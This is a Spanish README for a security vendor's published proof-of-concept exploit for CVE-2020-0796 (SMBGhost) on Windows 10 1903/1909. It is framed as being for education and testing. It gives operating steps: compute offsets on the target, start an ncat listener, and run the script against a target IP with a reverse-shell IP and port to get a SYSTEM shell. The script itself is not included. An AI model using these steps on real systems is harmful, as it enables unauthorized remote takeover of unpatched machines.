
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Encuentra los errores de los atacantes
POC de ejecución remota de código para CVE-2020-0796 / «SMBGhost»
Resultado esperado: shell inversa con acceso de sistema.
Destinado únicamente para fines educativos y de pruebas en entornos corporativos.
ZecOps no se hace responsable del código; úselo bajo su propio riesgo.
Póngase en contacto con [email protected] si está interesado en herramientas DFIR sin agente para servidores, endpoints y dispositivos móviles que detecten SMBGhost y otros tipos de ataques automáticamente.
Asegúrese de que Python y ncat estén instalados.
Ejecute calc_target_offsets.bat en el equipo objetivo y ajuste los offsets al principio del archivo SMBleedingGhost.py según la salida del script (consulte también la nota más abajo).
Ejecute ncat con los siguientes argumentos de línea de comandos:
ncat -lvp <port>
Donde <port> es el número de puerto en el que ncat estará escuchando.
Ejecute SMBleedingGhost.py con los siguientes argumentos de línea de comandos:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Donde <target_ip> es la dirección IP del equipo objetivo vulnerable. <reverse_shell_ip> y <reverse_shell_port> son la dirección IP y el número de puerto en el que ncat está escuchando.
Si todo va bien, ncat mostrará una shell que proporciona acceso de sistema al equipo objetivo.
Nota: Quizás se pregunte por qué es necesario ejecutar el script calc_target_offsets.bat en el equipo objetivo, y si eso no anula el propósito de que la ejecución remota de código sea remota. Estos offsets no son aleatorios y son los mismos en todas las instancias de Windows de la misma versión de Windows. Se podría hacer que el ataque fuera más universal detectando la versión de Windows del objetivo y ajustando los offsets automáticamente, o no dependiendo de ellos en absoluto, pero es solo un POC e hicimos lo que era más sencillo. También vemos como algo positivo que el POC no sea universal y que no sea práctico para usos distintos de las pruebas y la educación.

Las versiones 1903 y 1909 de Windows 10 están afectadas. Las versiones sin parchear de Windows 10 1903 no son compatibles debido a un error de desreferencia nula en Windows (corregido en KB4512941).
Debido a la naturaleza de la explotación, el POC funciona mejor en objetivos que se ejecutan en un equipo (o una máquina virtual) con un único procesador lógico. Los objetivos con más de un procesador lógico que se ejecutan en VirtualBox también deberían ser compatibles, pero el POC es menos fiable en ese caso. Es posible que otros objetivos no sean compatibles. Para más detalles, consulte nuestro informe técnico a continuación.